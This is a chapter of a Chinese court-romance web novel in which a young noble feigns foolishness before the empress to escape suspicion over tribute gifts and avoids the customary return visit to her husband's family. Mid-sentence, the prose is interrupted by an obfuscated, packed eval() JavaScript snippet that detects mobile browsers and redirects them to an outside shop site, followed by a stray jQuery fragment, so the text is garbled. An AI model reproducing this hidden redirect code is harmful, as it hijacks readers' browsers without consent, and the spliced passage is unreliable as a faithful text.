17. 躲避回门

作品:《八个夫侍天崩开局(女尊)

    邵星澜叹了口气:“所以臣气不过就……不小心纳了七房侧侍,想想也是……后悔的很。”


    嬴煜垚闻言,心中也觉得好笑。


    邵星澜是个什么样的人,她也算知道一些,虽然纨绔浪荡的名声传的很广,但实际上,星澜只是爱玩了一些,对哥儿的美色向来不假辞色,如今都一十有九了,后院也不见有半个通房,换作别人家的女郎,孩子都满地跑了。


    嬴煜垚干咳一声道:“好在你如今已经成了家,那秦家哥儿若是个好的,你真心对他,未必不能获得芳心……且行且珍惜吧。”


    邵星澜能怎么办,只能收下皇帝送来的毒奶。


    不过主角cp是拆不得的,后期秦素柔肯定会回到三皇女身边,她只要苟住小命就好。


    说来,秦素柔和三皇女应该就是本书的男主角和女主角吧?


    邵星澜将偏移的注意力拉回,对皇帝行礼道:“陛下,您信臣,臣和这些什么王啊将军啊巡抚之类的东西没有半点瓜葛,您可得为臣做主啊!”


    嬴煜垚听邵星澜叫那些藩王大臣是东西,没忍住笑骂出声:“她们都是肱骨大臣,你说的都是什么胡话?不成体统!”


    邵星澜连连点头:“是是是,陛下教训的是,臣确实不知道什么肱骨不骨肱的,臣不认识她们,她们这么害臣,肯定不怀好意,您得给臣做主啊!”


    嬴煜垚微微叹了口气道:“你这话说的确实有几分道理,那你想朕怎么为你做主?”


    邵星澜道:“当然是把她们查一遍,有罪的治罪。”


    “那要是没罪呢?”嬴煜垚挑眉。


    邵星澜摇头:“怎么会没罪,她们首先犯的就是欺君之罪!这可是贡品,她们不给陛下送,反而送给臣,这就不对!”


    嬴煜垚直接被邵星澜的歪理说笑了,不过笑过之下,又觉得她这番歪理没什么错,贡品不献给皇帝,反而当做贺礼送给朝中大臣……


    嬴煜垚不得不怀疑,除了邵星澜之外,其他臣子是不是也收到过如此重礼?


    嬴煜垚冷嗤一声,这些大臣们,一个个可真是她的好臣子呐!


    听到皇帝这声冷笑,邵星澜紧绷的心渐渐平缓,不枉她装痴扮傻演了这场戏,只要让皇帝认定这些东西是送礼人的私心,而不是她胆大包天结交藩王、结党营私,她身上的污水就能洗刷掉一半。


    邵星澜道:“陛下,这些贺礼臣就放在您这里吧,免得臣带回去,弄丢了证据,就不能指证那些坏人了。”


    说着还很可惜的看了一眼那些夜明珠、羊脂玉什么的。


    嬴煜垚只觉得好笑,这模样真是够可怜的,就是让人实在没眼看,值钱的东西不看,反倒盯着那些不怎么值钱的东西垂涎不已,好像朕之前亏待了她似的。


    嬴煜垚将那些违制贡品留了下来,其他的尽数让邵星澜带回去,又额外赐下不少珍宝,把邵星澜乐的见牙不见眼。


    嬴煜垚斥骂了一句:“出息。”


    邵星澜嬉皮笑脸的,磨着嬴煜垚在宫里蹭了一顿午饭。


    嬴煜垚很是受用邵星澜的黏人。


    小的时候,邵星澜刚失去母亲,像个小刺猬一样,任谁都不能近身,嬴煜垚将其带在身边好好照顾,直到大臣们齐齐上书谏言,嬴煜垚才在宫外给邵星澜准备了一处大宅子,三五不时的就去看小孩一眼。


    那时候的邵星澜特别黏嬴煜垚,大概是把对母亲的爱移情到嬴煜垚身上。


    而这位帝王也是表现出了十足的耐心,将为数不多的母爱都给了邵星澜。


    但不知道从什么时候开始,可能是国事繁重,嬴煜垚去看望邵星澜的次数少了。


    嬴煜垚就赐给邵星澜一块可以随时入宫的通行令牌。


    也可能是有不轨之心的小人在邵星澜耳边说了什么,一次没放在心上,多来几次,疑心生暗鬼,众口铄金,慢慢的,感情也就逐渐疏远了。


    这一次破冰,还是和上回邵星澜进宫求赐婚圣旨有关。


    嬴煜垚连老臣的意见都没听,力排众议写下赐婚圣旨,其中经受的压力旁人是无法知晓的。


    好在邵星澜还算体恤圣情,即便知道秦家哥儿心里有别人,也没哭着闹着让皇帝收回成命什么的……咳咳,就是嬴煜垚有些不好意思,毕竟秦家哥儿喜欢的人正是她那不孝的三皇女……


    要不是她的三皇女主动接近秦家哥儿,让对方哥儿芳心暗许,也不会出现后面这么多事情,说好听是两情相悦,说不好听……嬴煜垚也是从皇女过来的,老三打的什么主意,她一清二楚。


    所以,皇帝总归是有些心虚的。


    邵星澜今天这场插科打诨、耍无赖的做派,非但没让嬴煜垚生气,两人往日的生疏反倒因为这事热络了不少,好像回到了从前,这让嬴煜垚很是高兴。


    尤其是看到邵星澜在她面前不再端着架子,狼吞虎咽,好像没见过好东西似的大吃特吃,都让嬴煜垚觉得无比舒心。


    看着邵星澜一点儿也不文雅的吃饭姿势,嬴煜垚笑骂道:“慢点,你来见朕是没用早饭吗,怎么饿成这样?”


    言外之意,这跟骂她是猪似的,到了饭点净想着吃。


    其实邵星澜吃饭的姿势还算文雅,只是等不及那些小宫女给她布菜,自己一口一个,倒是吃的十分香甜。


    邵星澜将嘴里的东西咽下去,才道:“陛下又不是不知道臣,臣性子懒散,今日一大早就被叫了起来,只是匆忙垫了点肚子,现在已然到了午时,可不就饿了。”


    嬴煜垚放下筷子道:“是吗?朕还以为你是在刻意躲着什么人呢。”


    邵星澜哽了一下,心道大嬴皇帝真是火眼金睛,一眼就看出来了,她甘拜下风!


    邵星澜局促的搓了搓手:“陛下慧眼如炬,真是什么都逃不过您的法眼。”


    嬴煜垚:“也罢,朕派人替你向丞相告罪一声,今日回门之事暂时作罢,等哪日你想明白了,再亲自去秦府赔罪吧。”


    邵星澜闻言眼睛都亮了:“陛下隆恩,臣多谢陛下。”


    邵星澜在心中感慨,这位皇帝对原主真是疼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766272|190048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爱到了骨子里,居然连老祖宗传下来的规矩都愿意为原主改变。


    这要是让外人知道,皇帝帮着臣子躲避三朝回门,御史台那帮老家伙,岂不是要用奏折将玄清宫给淹了?


    总之,邵星澜很感激就是了。


    这日,邵星澜一直在玄清宫陪皇帝聊天,凭借自己的臭棋篓子技术成功将皇帝哄的见牙不见眼。


    另一边,秦素柔在皇后宫中坐了一天。


    三皇女是良贵卿的女儿,良贵卿膝下除了三皇女外,还育有八皇女和九皇子。


    皇后早年有过一个孩子,可惜那孩子福薄,一场风寒就被夺去了性命,没能养活。


    后来多年未能生育子嗣,直到前两年才生下一位皇子,序齿十皇子。


    皇后长相不够美艳,但足够端庄大气,撑得起父仪天下的重任。


    皇后坐在上首,对着秦素柔很是和颜悦色。


    他和皇帝是少年夫妻,携手走过了那么多年风风雨雨,邵母救驾有功,为救陛下而死,当年他的孩子也夭折不久,邵星澜入宫,他和皇帝一起照顾这可怜的孩子,也是真的将其视如己出。


    只是星澜年纪大了,终究要和后宫保持距离,要避嫌,他已经许久没见这个孩子了。


    如今得知这孩子成婚,又娶了丞相家的哥儿,观其相貌品行,确实是个不错的孩子。


    只是不知她二人平日相处的如何。


    皇后毕竟是长辈,也不好直接开口询问小两口平日如何相处、合不合的来,只好旁敲侧击的聊些琐事。


    但一番试探下来,皇后大概估摸出什么,脸上的神色略淡了淡,而秦素柔大概在想着什么事情,丝毫没注意到皇后殿下的情绪变化。


    玄清宫差人来回话,皇后听完宫人的汇报,一脸歉意的看向秦素柔:“陛下有急事留承恩县公说,恐怕不能陪你回相府了。陛下也真是的,三朝回门是大日子,陛下怎么这个时候将人留下呢……”


    秦素柔连忙起身行礼:“陛下的事情自然是最重要的,臣夫这点小事不足挂齿,只是……”


    秦素柔看了看殿中的沙漏,咬了咬唇道:“县公为陛下分忧是为国事,臣夫是个哥儿不懂这些,不能为家主分忧是我这个做正君的不是,母亲和阿父定然是喜闻乐见的,只是臣夫思家心切,这……”


    皇后体贴道:“怪我,一看见你就喜欢的不得了,连时间都忘了。陈侽侽,去库房将那对玉如意取来,就当是给秦正君的赔礼。”


    秦素柔急忙道:“殿下,这如何使得!”


    皇后笑道:“本就是该给你的,如今有了由头,更是理所应当。长者赐不可辞,你就收下吧。”


    秦素柔这才谢恩收下,起身离开。


    等人走了,皇后坐在凤座上,面上略带愁容道:“陈侽侽,这位秦正君和星澜相处的似乎并不融洽啊?”


    陈侽侽上前安慰道:“许是年轻人脸皮薄,有些事情不好意思在长辈面前说呢。”


    皇后揉了揉额角,有些疲惫道:“希望如此吧。”